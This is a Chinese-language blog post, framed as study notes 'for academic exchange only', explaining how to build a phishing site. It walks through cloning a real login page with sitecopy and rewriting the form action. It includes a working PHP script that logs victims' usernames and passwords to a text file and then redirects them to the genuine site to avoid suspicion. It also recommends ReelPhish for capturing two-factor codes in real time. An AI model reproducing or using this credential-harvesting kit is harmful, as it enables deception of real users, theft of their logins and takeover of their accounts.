学习记录-钓鱼网站总结

学习记录-钓鱼网站总结
此文章仅用于学术交流

1.钓鱼网站基本原理
简单的讲，就是伪装一个和真实网站相同外表的钓鱼网站，让目标误以为是真实网站而进行一些敏感操作，如输入账号密码从而被攻击者非法记录。

2.钓鱼网站演示
步骤很简单：爬取下载前端代码-------修改action也就是传参目的文件-----修改username元素、password元素-----创建本地文件用于接收传参和记录敏感信息也就是action需要的目的文件-----跳转到某页面提高隐藏性

如百度搜索某后台登陆页面

下载前端源码，右键另存为可以下载，也可以使用工具sitecopy

修改action目的文件，这里是创建了一个2.php用于接收，传参统一修改为user、pass。

创建2.php，代码如下（这里是post请求，对应前端请求方式，也可能是get）

<?php
if (isset($_POST["user"])) {
if (isset($_POST["pass"])) {
$myfile = fopen("666.txt", "a") or die("Unable to open file!");
$txt = "━━━━账号=".$_POST["user"]." 密码=".$_POST["pass"];//$_POST["user"]这个变量的
fwrite($myfile, $txt);
fclose($myfile);
//在这里他完成写文件之后进行跳转
#echo '<script>window.location.href="https://www.baidu.com/"; </script>';
}
}
?>

这里需要主要是前端含js代码需要去看看跳转关系，这里需要修改跳转地址，这里为了验证改了百度，真实场景可以改到对应的真实网站让它在输一次。

模拟被攻击用户登陆：
访问钓鱼网站–输入账号密码—返回指定页面
输入123/123

跳转到指定网站百度

看看攻击者后台已经记录了账号密码，从而钓鱼成功

3.总结
1）sitecopy工具：爬虫工具，可以爬取前端源码，可批量；
2）双因素认证：登陆界面一般是含有手机验证码、邮箱验证码等，这个也可以做的，和上面一样多写一个相同的界面然后让攻击者输入验证码，不过这个有时效性，所以手动的话需要快速输入；推荐工具ReelPhish，它的底层原理就是循环去检查结果，如果有账号密码和验证码出现，会模拟浏览去登陆，这样就不用人工实时刷新监控。